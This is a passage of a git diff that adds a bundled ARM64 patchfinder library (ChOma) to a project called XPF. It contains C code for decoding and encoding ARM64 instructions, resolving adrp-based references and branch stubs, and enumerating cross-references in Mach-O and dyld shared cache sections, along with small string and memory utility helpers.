mov writing to reg + else if (arm64_dec_mov_reg(inst, &destinationReg, &sourceReg) == 0) goto found_inst_match; + // Check for immediate ldr writing to reg + else if (arm64_dec_ldr_imm(inst, &destinationReg, NULL, NULL, NULL, NULL) == 0) goto found_inst_match; + // Check for literal ldr writing to reg + else if (arm64_dec_ldr_lit(inst, curAddr, NULL, &destinationReg) == 0) goto found_inst_match; + // Check for immediate ldrs writing to reg + else if (arm64_dec_ldrs_imm(inst, &destinationReg, NULL, NULL, NULL, NULL) == 0) goto found_inst_match; + // Nothing matched, continue + else continue; + +found_inst_match: + if (ARM64_REG_GET_NUM(destinationReg) == regNum) { + goto found_write; + } + // Didn't write to our register, continue + continue; + } + + return false; + +found_write: + return true; +} + +uint64_t pfsec_arm64_resolve_adrp_ldr_str_add_reference(PFSection *section, uint64_t adrpAddr, uint64_t ldrStrAddAddr) +{ + uint32_t ldrStrAddInst = pfsec_read32(section, ldrStrAddAddr); + + uint64_t imm = 0; + if (arm64_dec_ldr_imm(ldrStrAddInst, NULL, NULL, &imm, NULL, NULL) != 0) { + if (arm64_dec_ldrs_imm(ldrStrAddInst, NULL, NULL, &imm, NULL, NULL) != 0) { + if (arm64_dec_str_imm(ldrStrAddInst, NULL, NULL, &imm, NULL, NULL) != 0) { + uint16_t addImm = 0; + if (arm64_dec_add_imm(ldrStrAddInst, NULL, NULL, &addImm) == 0) { + imm = (uint64_t)addImm; + } + else { + return 0; + } + } + } + } + + uint64_t adrpTarget = 0; + arm64_dec_adr_p(pfsec_read32(section, adrpAddr), adrpAddr, &adrpTarget, NULL, NULL); + + return adrpTarget + imm; +} + +uint64_t pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(PFSection *section, uint64_t ldrStrAddAddr) +{ + uint32_t inst = pfsec_read32(section, ldrStrAddAddr); + + bool isAdd = false; + arm64_register reg; + if (arm64_dec_ldr_imm(inst, NULL, ®, NULL, NULL, NULL) != 0) { + if (arm64_dec_str_imm(inst, NULL, ®, NULL, NULL, NULL) != 0) { + if (arm64_dec_add_imm(inst, NULL, ®, NULL) != 0) { + return 0; + } + else { + isAdd = true; + } + } + } + + uint32_t adrpInst = 0, adrpInstMask = 0; + arm64_gen_adr_p(OPT_BOOL_NONE, OPT_UINT64_NONE, OPT_UINT64_NONE, reg, &adrpInst, &adrpInstMask); + uint64_t adrpAddr = pfsec_find_prev_inst(section, ldrStrAddAddr, 100, adrpInst, adrpInstMask); + if (!adrpAddr) return 0; + + if (!isAdd) { + // For str and ldr, there can be the following sequence: + + // adr(p) xA, (adrpAddr) + // (0..n) instructions + // add xA, xA, (specialCaseAddAddr) + // (0..n) instructions + // ldr/str xB, [xA] (ldrStrAddAddr) + + // We search for the middle add instruction and if we find it, we need to handle this case + + uint32_t searchCount = ((ldrStrAddAddr - adrpAddr) / 4) - 1; + if (searchCount) { + uint32_t specialCaseAddInst = 0, specialCaseAddMask = 0; + arm64_gen_add_imm(reg, reg, OPT_UINT64_NONE, &specialCaseAddInst, &specialCaseAddMask); + + uint64_t specialCaseAddAddr = pfsec_find_prev_inst(section, ldrStrAddAddr, searchCount, specialCaseAddInst, specialCaseAddMask); + if (specialCaseAddAddr) { + // In this case, we need to make sure there are no writes in the two "(0..n) instructions" sections + if (pfsec_arm64_scan_register_write(section, reg, ldrStrAddAddr, specialCaseAddAddr)) return 0; + if (pfsec_arm64_scan_register_write(section, reg, specialCaseAddAddr, adrpAddr)) return 0; + + uint64_t baseAddr = pfsec_arm64_resolve_adrp_ldr_str_add_reference(section, adrpAddr, specialCaseAddAddr); + if (!baseAddr) return 0; + + uint32_t ldrStrAddInst = pfsec_read32(section, ldrStrAddAddr); + uint64_t imm64 = 0; + uint16_t imm16 = 0; + if (arm64_dec_add_imm(ldrStrAddInst, NULL, NULL, &imm16) != 0) { + if (arm64_dec_ldr_imm(ldrStrAddInst, NULL, NULL, &imm64, NULL, NULL) != 0) { + if (arm64_dec_str_imm(ldrStrAddInst, NULL, NULL, &imm64, NULL, NULL) != 0) { + fprintf(stderr, "Warning: failed decoding ldrStrAddInst (%#x @ %#llx)\n", ldrStrAddInst, ldrStrAddAddr); + } + } + } + else { + imm64 = imm16; + } + + return baseAddr + imm64; + } + } + } + + if (pfsec_arm64_scan_register_write(section, reg, ldrStrAddAddr, adrpAddr)) return 0; + return pfsec_arm64_resolve_adrp_ldr_str_add_reference(section, adrpAddr, ldrStrAddAddr); +} + +uint64_t pfsec_arm64_resolve_stub(PFSection *section, uint64_t stubAddr) +{ + // A stub is usually: + // adrp x16, ? + // ldr x16, ? + // br x16 + + // First, check if what we have actually is a stub + uint32_t inst[3]; + pfsec_read_at_address(section, stubAddr, inst, sizeof(inst)); + + uint32_t stubInst[3], stubMask[3]; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_X(16), &stubInst[0], &stubMask[0]); + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_X(16), ARM64_REG_X(16), OPT_UINT64_NONE, &stubInst[1], &stubMask[1]); + stubInst[2] = 0xd61f0200; + stubMask[2] = 0xffffffff; + + if ((inst[0] & stubMask[0]) == stubInst[0] || + (inst[1] & stubMask[1]) == stubInst[1] || + (inst[2] & stubMask[2]) == stubInst[2]) { + // This is a stub, resolve it + uint64_t ptrAddr = pfsec_arm64_resolve_adrp_ldr_str_add_reference(section, stubAddr, stubAddr + 4); + if (ptrAddr) { + uint64_t targetAddr = 0; + + MachO *macho = pfsec_get_macho(section); + if (macho) { + macho_read_at_vmaddr(macho, ptrAddr, sizeof(targetAddr), &targetAddr); + } + else { + DyldSharedCache *sharedCache = pfsec_get_dsc(section); + if (sharedCache) { + dsc_read_from_vmaddr(sharedCache, ptrAddr, sizeof(targetAddr), &targetAddr); + } + } + + return targetAddr; + } + } + + // Not a stub, just return original address + return stubAddr; +} + +void pfsec_arm64_enumerate_xrefs(PFSection *section, Arm64XrefTypeMask types, void (^xrefBlock)(Arm64XrefType type, uint64_t source, uint64_t target, bool *stop)) +{ + bool stop = false; + if (section->info.initprot & PROT_EXEC) { + for (uint64_t addr = section->info.vmaddr; addr < (section->info.vmaddr + section->info.size) && !stop; addr += sizeof(uint32_t)) { + uint32_t inst = pfsec_read32(section, addr); + if ((types & ARM64_XREF_TYPE_MASK_B) || (types & ARM64_XREF_TYPE_MASK_BL)) { + uint64_t target = 0; + bool isBl = 0; + if (arm64_dec_b_l(inst, addr, &target, &isBl) == 0) { + if (isBl && (types & ARM64_XREF_TYPE_MASK_BL)) { + xrefBlock(ARM64_XREF_TYPE_BL, addr, target, &stop); + } + else if (!isBl && (types & ARM64_XREF_TYPE_MASK_B)) { + xrefBlock(ARM64_XREF_TYPE_B, addr, target, &stop); + } + continue; + } + } + if (types & ARM64_XREF_TYPE_MASK_ADR) { + uint64_t target = 0; + bool isAdrp = false; + arm64_register reg; + if (arm64_dec_adr_p(inst, addr, &target, ®, &isAdrp) == 0) { + if (!isAdrp) { + xrefBlock(ARM64_XREF_TYPE_ADR, addr, target, &stop); + } + continue; + } + } + if ((types & ARM64_XREF_TYPE_MASK_B_COND) || (types & ARM64_XREF_TYPE_MASK_BC_COND)) { + uint64_t target = 0; + bool isBc = false; + if (arm64_dec_b_c_cond(inst, addr, &target, NULL, &isBc) == 0) { + if (!isBc && (types & ARM64_XREF_TYPE_MASK_B_COND)) { + xrefBlock(ARM64_XREF_TYPE_B_COND, addr, target, &stop); + } + if (isBc && (types & ARM64_XREF_TYPE_MASK_BC_COND)) { + xrefBlock(ARM64_XREF_TYPE_BC_COND, addr, target, &stop); + } + } + } + if ((types & ARM64_XREF_TYPE_MASK_CBZ) || (types & ARM64_XREF_TYPE_MASK_CBNZ)) { + uint64_t target = 0; + bool isCbnz = false; + if (arm64_dec_cb_n_z(inst, addr, &isCbnz, NULL, &target) == 0) { + if (!isCbnz && (types & ARM64_XREF_TYPE_MASK_CBZ)) { + xrefBlock(ARM64_XREF_TYPE_CBZ, addr, target, &stop); + } + if (isCbnz && (types & ARM64_XREF_TYPE_MASK_CBNZ)) { + xrefBlock(ARM64_XREF_TYPE_CBNZ, addr, target, &stop); + } + } + } + if ((types & ARM64_XREF_TYPE_MASK_TBZ) || (types & ARM64_XREF_TYPE_MASK_TBNZ)) { + uint64_t target = 0; + bool isTbnz = false; + if (arm64_dec_tb_n_z(inst, addr, &isTbnz, NULL, &target, NULL) == 0) { + if (!isTbnz && (types & ARM64_XREF_TYPE_MASK_TBZ)) { + xrefBlock(ARM64_XREF_TYPE_CBZ, addr, target, &stop); + } + if (isTbnz && (types & ARM64_XREF_TYPE_MASK_TBNZ)) { + xrefBlock(ARM64_XREF_TYPE_CBNZ, addr, target, &stop); + } + } + } + #define ADRP_SEEK_BACK 8 + if (types & ARM64_XREF_TYPE_MASK_ADRP_ADD) { + uint16_t addImm = 0; + arm64_register addDestinationReg; + arm64_register addSourceReg; + if (arm64_dec_add_imm(inst, &addDestinationReg, &addSourceReg, &addImm) == 0) { + uint32_t adrpInst = 0; + uint32_t adrpMask = 0; + if (arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, addSourceReg, &adrpInst, &adrpMask) == 0) { + uint64_t adrpAddr = pfsec_find_prev_inst(section, addr, ADRP_SEEK_BACK, adrpInst, adrpMask); + if (adrpAddr != 0) { + if (!pfsec_arm64_scan_register_write(section, addSourceReg, addr, adrpAddr)) { + uint64_t adrpTarget = 0; + arm64_dec_adr_p(pfsec_read32(section, adrpAddr), adrpAddr, &adrpTarget, NULL, NULL); + xrefBlock(ARM64_XREF_TYPE_ADRP_ADD, addr, adrpTarget + addImm, &stop); + } + } + } + } + } + if (types & ARM64_XREF_TYPE_MASK_ADRP_LDR) { + arm64_register ldrDestinationReg; + arm64_register ldrSourceReg; + uint64_t ldrImm = 0; + char ldrType = -1; + arm64_ldr_str_type instType = 0; + if (arm64_dec_ldr_imm(inst, &ldrDestinationReg, &ldrSourceReg, &ldrImm, &ldrType, &instType) == 0) { + uint32_t adrpInst = 0; + uint32_t adrpMask = 0; + if (arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ldrSourceReg, &adrpInst, &adrpMask) == 0) { + uint64_t adrpAddr = pfsec_find_prev_inst(section, addr, ADRP_SEEK_BACK, adrpInst, adrpMask); + if (adrpAddr != 0) { + if (!pfsec_arm64_scan_register_write(section, ldrSourceReg, addr, adrpAddr)) { + uint64_t adrpTarget = 0; + arm64_dec_adr_p(pfsec_read32(section, adrpAddr), adrpAddr, &adrpTarget, NULL, NULL); + xrefBlock(ARM64_XREF_TYPE_ADRP_LDR, addr, adrpTarget + ldrImm, &stop); + } + } + } + } + } + if (types & ARM64_XREF_TYPE_MASK_ADRP_STR) { + arm64_register strDestinationReg; + arm64_register strSourceReg; + uint64_t strImm = 0; + char strType = -1; + arm64_ldr_str_type instType = 0; + if (arm64_dec_str_imm(inst, &strDestinationReg, &strSourceReg, &strImm, &strType, &instType) == 0) { + uint32_t adrpInst = 0; + uint32_t adrpMask = 0; + if (arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, strSourceReg, &adrpInst, &adrpMask) == 0) { + uint64_t adrpAddr = pfsec_find_prev_inst(section, addr, ADRP_SEEK_BACK, adrpInst, adrpMask); + if (adrpAddr != 0) { + if (!pfsec_arm64_scan_register_write(section, strSourceReg, addr, adrpAddr)) { + uint64_t adrpTarget = 0; + arm64_dec_adr_p(pfsec_read32(section, adrpAddr), adrpAddr, &adrpTarget, NULL, NULL); + xrefBlock(ARM64_XREF_TYPE_ADRP_STR, addr, adrpTarget + strImm, &stop); + } + } + } + } + } + } + } + + if ((types & ARM64_XREF_TYPE_MASK_POINTER)) { + if (!strncmp(section->info.sectname, "__cfstring", sizeof(section->info.sectname))) { + for (uint64_t addr = section->info.vmaddr; addr < (section->info.vmaddr + section->info.size) && !stop; addr += 0x20) { + uint32_t fileoff = pfsec_read32(section, addr + 0x10); + uint64_t vmaddr = 0; + MachO *macho = pfsec_get_macho(section); + if (macho) { + macho_translate_fileoff_to_vmaddr(macho, fileoff, &vmaddr, NULL); + xrefBlock(ARM64_XREF_TYPE_POINTER, addr, vmaddr, &stop); + } + } + } + else { + for (uint64_t addr = section->info.vmaddr; addr < (section->info.vmaddr + section->info.size) && !stop; addr += sizeof(uint64_t)) { + uint64_t ptr = pfsec_read_pointer(section, addr); + xrefBlock(ARM64_XREF_TYPE_POINTER, addr, ptr, &stop); + } + } + } +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/PatchFinder_arm64.h b/XPF/external/ChOma/src/PatchFinder_arm64.h new file mode 100644 index 0000000..1914d26 --- /dev/null +++ b/XPF/external/ChOma/src/PatchFinder_arm64.h @@ -0,0 +1,52 @@ +#ifndef PATCHFINDER_ARM64_H +#define PATCHFINDER_ARM64_H + +#include "PatchFinder.h" +#include "arm64.h" + +typedef enum { + ARM64_XREF_TYPE_BL = 0, + ARM64_XREF_TYPE_B, + ARM64_XREF_TYPE_B_COND, + ARM64_XREF_TYPE_BC_COND, + ARM64_XREF_TYPE_CBZ, + ARM64_XREF_TYPE_CBNZ, + ARM64_XREF_TYPE_TBZ, + ARM64_XREF_TYPE_TBNZ, + ARM64_XREF_TYPE_ADR, + ARM64_XREF_TYPE_ADRP_ADD, + ARM64_XREF_TYPE_ADRP_LDR, + ARM64_XREF_TYPE_ADRP_STR, + ARM64_XREF_TYPE_POINTER, +} Arm64XrefType; + +typedef enum { + ARM64_XREF_TYPE_MASK_BL = (1 << ARM64_XREF_TYPE_BL), + ARM64_XREF_TYPE_MASK_CALL = (ARM64_XREF_TYPE_MASK_BL), + + ARM64_XREF_TYPE_MASK_B = (1 << ARM64_XREF_TYPE_B), + ARM64_XREF_TYPE_MASK_B_COND = (1 << ARM64_XREF_TYPE_B_COND), + ARM64_XREF_TYPE_MASK_BC_COND = (1 << ARM64_XREF_TYPE_BC_COND), + ARM64_XREF_TYPE_MASK_CBZ = (1 << ARM64_XREF_TYPE_CBZ), + ARM64_XREF_TYPE_MASK_CBNZ = (1 << ARM64_XREF_TYPE_CBNZ), + ARM64_XREF_TYPE_MASK_TBZ = (1 << ARM64_XREF_TYPE_TBZ), + ARM64_XREF_TYPE_MASK_TBNZ = (1 << ARM64_XREF_TYPE_TBNZ), + ARM64_XREF_TYPE_MASK_JUMP = (ARM64_XREF_TYPE_B | ARM64_XREF_TYPE_MASK_B_COND | ARM64_XREF_TYPE_MASK_BC_COND | ARM64_XREF_TYPE_MASK_CBZ | ARM64_XREF_TYPE_MASK_CBNZ | ARM64_XREF_TYPE_MASK_TBZ | ARM64_XREF_TYPE_MASK_TBNZ), + + ARM64_XREF_TYPE_MASK_ADR = (1 << ARM64_XREF_TYPE_ADR), + ARM64_XREF_TYPE_MASK_ADRP_ADD = (1 << ARM64_XREF_TYPE_ADRP_ADD), + ARM64_XREF_TYPE_MASK_ADRP_LDR = (1 << ARM64_XREF_TYPE_ADRP_LDR), + ARM64_XREF_TYPE_MASK_ADRP_STR = (1 << ARM64_XREF_TYPE_ADRP_STR), + ARM64_XREF_TYPE_MASK_REFERENCE = (ARM64_XREF_TYPE_MASK_ADR | ARM64_XREF_TYPE_MASK_ADRP_ADD | ARM64_XREF_TYPE_MASK_ADRP_LDR | ARM64_XREF_TYPE_MASK_ADRP_STR), + + ARM64_XREF_TYPE_MASK_POINTER = (1 << ARM64_XREF_TYPE_POINTER), + + ARM64_XREF_TYPE_ALL = (ARM64_XREF_TYPE_MASK_CALL | ARM64_XREF_TYPE_MASK_JUMP | ARM64_XREF_TYPE_MASK_REFERENCE | ARM64_XREF_TYPE_MASK_POINTER), +} Arm64XrefTypeMask; + +bool pfsec_arm64_scan_register_write(PFSection *section, arm64_register reg, uint64_t endAddr, uint64_t startAddr); +uint64_t pfsec_arm64_resolve_adrp_ldr_str_add_reference(PFSection *section, uint64_t adrpAddr, uint64_t ldrStrAddAddr); +uint64_t pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(PFSection *section, uint64_t ldrStrAddAddr); +uint64_t pfsec_arm64_resolve_stub(PFSection *section, uint64_t stubAddr); +void pfsec_arm64_enumerate_xrefs(PFSection *section, Arm64XrefTypeMask types, void (^xrefBlock)(Arm64XrefType type, uint64_t source, uint64_t target, bool *stop)); +#endif \ No newline at end of file diff --git a/XPF/external/ChOma/src/Util.c b/XPF/external/ChOma/src/Util.c new file mode 100644 index 0000000..fab6d63 --- /dev/null +++ b/XPF/external/ChOma/src/Util.c @@ -0,0 +1,113 @@ +#include "Util.h" +#include +#include +#include + +int64_t sxt64(int64_t value, uint8_t bits) +{ + value = ((uint64_t)value) << (64 - bits); + value >>= (64 - bits); + return value; +} + +int memcmp_masked(const void *str1, const void *str2, unsigned char* mask, size_t n) +{ + const unsigned char* p = (const unsigned char*)str1; + const unsigned char* q = (const unsigned char*)str2; + + if (p == q) return 0; + for (int i = 0; i < n; i++) { + unsigned char cMask = 0xFF; + if (mask) { + cMask = mask[i]; + } + if((p[i] & cMask) != (q[i] & cMask)) { + // we do not care about 1 / -1 + return -1; + } + } + + return 0; +} + +uint64_t align_to_size(int size, int alignment) +{ + return (size + alignment - 1) & ~(alignment - 1); +} + +void print_hash(uint8_t *hash, size_t size) +{ + for (int j = 0; j < size; j++) { + printf("%02x", hash[j]); + } +} + +void enumerate_range(uint64_t start, uint64_t end, uint16_t alignment, size_t nbytes, bool (^enumerator)(uint64_t)) +{ + if (start == end) return; + if (alignment == 0) return; + if (nbytes == 0) return; + if (nbytes % alignment) return; + + int dir = start < end ? 1 : -1; + + uint64_t absStart = dir == 1 ? start : end; + uint64_t absEnd = dir == 1 ? end : start; + uint64_t absSpace = absEnd - absStart; + if (alignment > absSpace) return; + if (absSpace % alignment) return; + + uint64_t absSteps = absSpace / alignment; + for (uint64_t i = 0; i < absSteps; i++) { + uint64_t cur = start + (i * alignment * dir) - (dir == -1 ? alignment : 0); + if (!enumerator(cur)) break; + } +} + +int read_string(int fd, char **strOut) +{ + uint32_t sz = 0; + off_t pos = lseek(fd, 0, SEEK_CUR); + char c = 0; + do { + if (read(fd, &c, sizeof(c)) != sizeof(c)) return -1; + sz++; + } while(c != 0); + + lseek(fd, pos, SEEK_SET); + *strOut = malloc(sz); + read(fd, *strOut, sz); + return 0; +} + +bool string_has_prefix(const char *str, const char *prefix) +{ + if (!str || !prefix) { + return false; + } + + size_t str_len = strlen(str); + size_t prefix_len = strlen(prefix); + + if (str_len < prefix_len) { + return false; + } + + return !strncmp(str, prefix, prefix_len); +} + +bool string_has_suffix(const char *str, const char *suffix) +{ + if (!str || !suffix) { + return false; + } + + size_t str_len = strlen(str); + size_t suffix_len = strlen(suffix); + + if (str_len < suffix_len) { + return false; + } + + return !strcmp(str + str_len - suffix_len, suffix); +} diff --git a/XPF/external/ChOma/src/Util.h b/XPF/external/ChOma/src/Util.h new file mode 100644 index 0000000..81cb5ab --- /dev/null +++ b/XPF/external/ChOma/src/Util.h @@ -0,0 +1,35 @@ +#ifndef UTIL_H +#define UTIL_H + +#include +#include +#include + +typedef struct s_optional_uint64 { + bool isSet; + uint64_t value; +} optional_uint64_t; +#define OPT_UINT64_IS_SET(x) (x.isSet) +#define OPT_UINT64_GET_VAL(x) (x.value) +#define OPT_UINT64_NONE (optional_uint64_t){.isSet = false, .value = 0} +#define OPT_UINT64(x) (optional_uint64_t){.isSet = true, .value = x} + + +typedef struct s_optional_bool { + bool isSet; + bool value; +} optional_bool; +#define OPT_BOOL_IS_SET(x) (x.isSet) +#define OPT_BOOL_GET_VAL(x) (x.value) +#define OPT_BOOL_NONE (optional_bool){.isSet = false, .value = false} +#define OPT_BOOL(x) (optional_bool){.isSet = true, .value = x} + +int64_t sxt64(int64_t value, uint8_t bits); +int memcmp_masked(const void *str1, const void *str2, unsigned char* mask, size_t n); +uint64_t align_to_size(int size, int alignment); +void print_hash(uint8_t *hash, size_t size); +void enumerate_range(uint64_t start, uint64_t end, uint16_t alignment, size_t nbytes, bool (^enumerator)(uint64_t cur)); +int read_string(int fd, char **strOut); +bool string_has_prefix(const char *str, const char *prefix); +bool string_has_suffix(const char *str, const char *suffix); +#endif diff --git a/XPF/external/ChOma/src/arm64.c b/XPF/external/ChOma/src/arm64.c new file mode 100644 index 0000000..8b99830 --- /dev/null +++ b/XPF/external/ChOma/src/arm64.c @@ -0,0 +1,1008 @@ +#include "arm64.h" +#include "Util.h" +#include + +#define ADRP_PAGE_SIZE 0x1000 +#define ADRP_PAGE_MASK 0x0fff + +uint8_t arm64_reg_type_get_width(arm64_register_type type) +{ + switch (type) { + case ARM64_REG_TYPE_X: + return 8; + case ARM64_REG_TYPE_W: + return 4; + + case ARM64_REG_TYPE_Q: + return 16; + case ARM64_REG_TYPE_D: + return 8; + case ARM64_REG_TYPE_S: + return 4; + case ARM64_REG_TYPE_H: + return 2; + case ARM64_REG_TYPE_B: + return 1; + } +} + +const char *arm64_reg_type_get_string(arm64_register_type type) +{ + switch (type) { + case ARM64_REG_TYPE_X: + return "x"; + case ARM64_REG_TYPE_W: + return "w"; + + case ARM64_REG_TYPE_Q: + return "q"; + case ARM64_REG_TYPE_D: + return "d"; + case ARM64_REG_TYPE_S: + return "s"; + case ARM64_REG_TYPE_H: + return "h"; + case ARM64_REG_TYPE_B: + return "b"; + } + return ""; +} + +const char *arm64_reg_get_type_string(arm64_register reg) +{ + return arm64_reg_type_get_string(ARM64_REG_GET_TYPE(reg)); +} + +int arm64_gen_b_l(optional_bool optIsBl, optional_uint64_t optOrigin, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut) +{ + bool isBl = false; + if (OPT_BOOL_IS_SET(optIsBl)) { + isBl = OPT_BOOL_GET_VAL(optIsBl); + } + + uint64_t origin = 0; + uint64_t target = 0; + if (OPT_UINT64_IS_SET(optOrigin) && OPT_UINT64_IS_SET(optTarget)) { + *maskOut = 0xffffffff; + origin = OPT_UINT64_GET_VAL(optOrigin); + target = OPT_UINT64_GET_VAL(optTarget); + } + else { + if (!OPT_BOOL_IS_SET(optIsBl)) { + *maskOut = 0x7c000000; + } + else { + *maskOut = 0xfc000000; + } + } + + int64_t offset = ((int64_t)target - (int64_t)origin) / 4; + *bytesOut = (isBl ? 0x94000000 : 0x14000000) | (uint32_t)(offset & 0x3ffffff); + return 0; +} + +int arm64_dec_b_l(uint32_t inst, uint64_t origin, uint64_t *targetOut, bool *isBlOut) +{ + if ((inst & 0xfc000000) == 0x14000000) { + if (isBlOut) *isBlOut = false; + } + else if ((inst & 0xfc000000) == 0x94000000) { + if (isBlOut) *isBlOut = true; + } + else { + return -1; + } + + int64_t offset = sxt64((inst & 0x3ffffff), 26); + if (targetOut) *targetOut = origin + (offset * 4); + return 0; +} + +int arm64_gen_b_c_cond(optional_bool optIsBc, optional_uint64_t optOrigin, optional_uint64_t optTarget, arm64_cond optCond, uint32_t *bytesOut, uint32_t *maskOut) +{ + uint32_t inst = 0x54000000; + uint32_t mask = 0xff000000; + + if (OPT_BOOL_IS_SET(optIsBc)) { + mask |= (1 << 4); + inst |= (OPT_BOOL_GET_VAL(optIsBc) << 4); + } + + if (OPT_UINT64_IS_SET(optOrigin) && OPT_UINT64_IS_SET(optTarget)) { + uint64_t origin = OPT_UINT64_GET_VAL(optOrigin); + uint64_t target = OPT_UINT64_GET_VAL(optTarget); + int64_t offset = (int64_t)target - (int64_t)origin; + if (offset < -0x100000 || offset > 0x100000) return -1; // +/-1MB max + inst |= ((offset / 4) << 5); + mask |= (0x7ffff << 5); + } + + if (ARM64_COND_IS_SET(optCond)) { + mask |= 0xf; + inst |= ARM64_COND_GET_VAL(optCond); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_b_c_cond(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_cond *condOut, bool *isBcOut) +{ + if ((inst & 0xff000000) != 0x54000000) return -1; + + if (targetOut) { + int64_t offset = sxt64(((inst >> 5) & 0x7ffff), 19); + *targetOut = origin + (offset * 4); + } + + if (condOut) { + *condOut = ARM64_COND(inst & 0xf); + } + + if (isBcOut) { + *isBcOut = inst & (1 << 4); + } + + return 0; +} + +int arm64_gen_adr_p(optional_bool optIsAdrp, optional_uint64_t optOrigin, optional_uint64_t optTarget, arm64_register reg, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(reg)) return -1; + + bool isAdrp = false; + + uint32_t inst = (1 << 28); + uint32_t mask = 0x1f000000; + + if (OPT_BOOL_IS_SET(optIsAdrp)) { + mask |= (1 << 31); + isAdrp = OPT_BOOL_GET_VAL(optIsAdrp); + if (isAdrp) { + inst |= (1 << 31); + } + } + + if (OPT_UINT64_IS_SET(optOrigin) && OPT_UINT64_IS_SET(optTarget)) { + mask |= 0x60ffffe0; + + uint64_t origin = OPT_UINT64_GET_VAL(optOrigin); + uint64_t target = OPT_UINT64_GET_VAL(optTarget); + if (isAdrp) { + origin &= ~ADRP_PAGE_MASK; + target &= ~ADRP_PAGE_MASK; + } + int64_t offset = ((int64_t)target - (int64_t)origin); + if (isAdrp) { + offset = (offset >> 12); + } + + // +- 1MB + if (offset > 0x100000 || offset < -0x100000) { + // Offset too big + return -1; + } + + uint64_t unsignedOffset = offset & 0x1FFFFF; + inst |= ((unsignedOffset & 0x3) << 29); + inst |= ((unsignedOffset & ~0x3) << 3); + } + + if (!ARM64_REG_IS_ANY(reg)) { + if (ARM64_REG_IS_W(reg)) return -1; + inst |= ARM64_REG_GET_NUM(reg);; + mask |= 0x1F; + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_adr_p(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_register *registerOut, bool *isAdrpOut) +{ + bool isAdrp = false; + if ((inst & 0x9f000000) == 0x90000000) { + isAdrp = true; + } + else if ((inst & 0x9f000000) == 0x10000000) { + isAdrp = false; + } + else { + return -1; + } + + if (targetOut) { + uint64_t offset = ((inst >> 29) & 0x3) | ((inst >> 3) & 0x1ffffc); + int64_t signedOffset = 0; + if (isAdrp) { + offset = (offset << 12); + origin &= ~ADRP_PAGE_MASK; + signedOffset = sxt64(offset, 33); + } + else { + signedOffset = sxt64(offset, 21); + } + *targetOut = origin + signedOffset; + } + + if (registerOut) *registerOut = ARM64_REG_X(inst & 0x1f); + if (isAdrpOut) *isAdrpOut = isAdrp; + return 0; +} + +int arm64_gen_mov_imm(char type, arm64_register destinationReg, optional_uint64_t optImm, optional_uint64_t optShift, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(destinationReg)) return -1; + + uint32_t inst = 0x12800000; + uint32_t mask = 0x7f800000; // Note this mask includes the type as it's not optional + + switch (type) { + case 'k': { + inst |= (1 << 30) | (1 << 29); + break; + } + + case 'n': { + break; + } + + case 'z': { + inst |= (1 << 30); + break; + } + + default: { + return -1; + } + } + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 31); + if (ARM64_REG_IS_W(destinationReg)) { + if (OPT_UINT64_IS_SET(optShift)) { + uint64_t shift = OPT_UINT64_GET_VAL(optShift); + if (shift != 0 && shift != 16) return -1; + } + } + else { + inst |= (1 << 31); + if (OPT_UINT64_IS_SET(optShift)) { + uint64_t shift = OPT_UINT64_GET_VAL(optShift); + if (shift != 0 && shift != 16 && shift != 32 && shift != 48) return -1; + } + } + + mask |= 0x1f; + inst |= ARM64_REG_GET_NUM(destinationReg); + } + + if (OPT_UINT64_IS_SET(optImm)) { + uint64_t imm = OPT_UINT64_GET_VAL(optImm); + if (imm > UINT16_MAX) return -1; + mask |= 0x1fffe0; + inst |= ((uint32_t)imm << 5); + } + + if (OPT_UINT64_IS_SET(optShift)) { + uint64_t shift = OPT_UINT64_GET_VAL(optShift); + inst |= ((shift / 16) & 0b11) << 21; + mask |= (0b11 << 21); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_mov_imm(uint32_t inst, arm64_register *destinationRegOut, uint64_t *immOut, uint64_t *shiftOut, char *typeOut) +{ + if ((inst & 0x1f800000) != 0x12800000) return -1; + + char type = 0; + uint8_t opc = ((inst >> 29) & 0b11); + switch (opc) { + case 0b11: { + type = 'k'; + break; + } + case 0b00: { + type = 'n'; + break; + } + case 0b10: { + type = 'z'; + break; + } + default: { + return -1; + } + } + + if (destinationRegOut) { + bool is64 = inst & (1 << 31); + *destinationRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1f); + } + if (immOut) { + *immOut = (inst >> 5) & 0xffff; + } + if (shiftOut) { + *shiftOut = ((inst >> 21) & 0b11) * 16; + } + if (typeOut) { + *typeOut = type; + } + + return 0; +} + +int arm64_gen_mov_reg(arm64_register destinationReg, arm64_register sourceReg, uint32_t *bytesOut, uint32_t *maskOut) +{ + uint32_t inst = 0x2a0003e0; + uint32_t mask = 0x7fe0ffe0; + + if (!ARM64_REG_IS_ANY(destinationReg) && !ARM64_REG_IS_ANY(sourceReg)) { + if (ARM64_REG_IS_W(destinationReg) != ARM64_REG_IS_W(sourceReg)) return -1; + } + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 31); + inst |= (ARM64_REG_IS_X(destinationReg) << 31); + + inst |= (ARM64_REG_GET_NUM(destinationReg)); + mask |= 0x1f; + } + + if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (1 << 31); + inst |= (ARM64_REG_IS_X(sourceReg) << 31); + + inst |= (ARM64_REG_GET_NUM(sourceReg) << 16); 